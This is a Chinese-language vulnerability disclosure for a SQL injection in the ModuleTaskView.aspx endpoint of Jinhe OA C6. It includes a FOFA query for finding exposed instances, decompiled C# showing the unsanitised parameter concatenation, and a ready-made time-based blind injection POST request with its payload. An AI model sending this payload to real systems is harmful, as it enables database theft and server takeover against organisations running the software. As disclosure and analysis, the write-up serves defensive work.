漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 ModuleTaskView.aspx 接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 ModuleTaskView.aspx 的实现，在 bin 目录下查找 JHSoft.Web.DailyTaskManage.dll 将其进行反编译后找到 ModuleTaskView 的处理逻辑

  protected void Page_Load(object sender, EventArgs e)
  {
    this.htc = ((CultureInfo) this.Session["culture"]).Name + ".css";
    this.InitText();
    if (this.Request["OriginModule"] != null)
      this.strOriginModule = this.Request["OriginModule"].ToString();
    if (this.Request["OriginID"] != null)
      this.strOriginID = this.Request["OriginID"].ToString();
    this.GetTaskList();
    this.ListPage1.WidthStyle = UserWebControl.DataGrid.DataGrid.EnumWidthStyle.Fix;
    if (!string.op_Equality(this.strOriginModule, "Approve"))
      return;
    this.ListPage1.ThisHeight = "380";
  }

再跟进 GetTaskList 方法，其实现如下

  private void GetTaskList()
  {
    string str1 = " select a.TaskID,a.TaskNumber,TaskFatherID,a.TaskName,u1.UserName as TaskSendPersonName, " + " a.TaskStartTime,a.TaskEndTime,a.TaskProgress,a.TaskFinishFlag,c.TaskRExecutorSay,c.UserName as ReportorName,c.TaskRRectime,TaskRRecfinprogress,c.ReportFiles" + " from TaskManage a inner join dbo.Users u1 on a.TaskSendPersonID = u1.UserID" + " Left join (select *,dbo.f_TaskReportDoc([ID]) as ReportFiles  from TaskManageExecutorsay A inner join Users B on A.TaskExecutorID=B.UserID)  c on a.TaskID = c.TaskID ";
    string sql;
    if (string.op_Equality(this.strOriginModule, "CRMCustomer"))
    {
      this.ListPage1.Buttons.Clear();
      sql = $"{str1} where a.TaskIsdel = 0  and a.OriginModule = 'CRMExec' and a.OriginID in (select SaleExec_ID from JHCrm_SaleExec where Customer_ID = '{this.strOriginID}') order by c.TaskRRecTime desc";
    }
    else if (string.op_Equality(this.strOriginModule.ToLower(), "crmexec"))
    {
      this.ListPage1.Buttons.Clear();
      sql = $"{str1} where a.TaskIsdel = 0  and a.OriginModule = '{this.strOriginModule}' and a.OriginID = '{this.strOriginID}' order by c.TaskRRecTime desc";
    }
    else
    {
      this.ListPage1.Buttons.Clear();
      this.ListPage1.Buttons.Add("../JHsoft.UI.Lib/images/icon.toolbar/16px/new.png", this.AssignTask);
      sql = $"{str1} where a.TaskIsdel = 0 and  a.OriginModule = '{this.strOriginModule}' and a.OriginID = '{this.strOriginID}' order by c.TaskRRecTime desc";
    }
    DataTable dataTable = Common.ExecSqlReDt(sql);

参数 strOriginModule、strOriginID 被直接拼接进SQL语句中后执行，无任何过滤或校验，导致SQL注入漏洞。

漏洞复现

POST /c6/Jhsoft.Web.dailytaskmanage/ModuleTaskView.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded

OriginModule=crmexec&OriginID='WAitFor+DelaY'0:0:4'--

成功延时 4 秒钟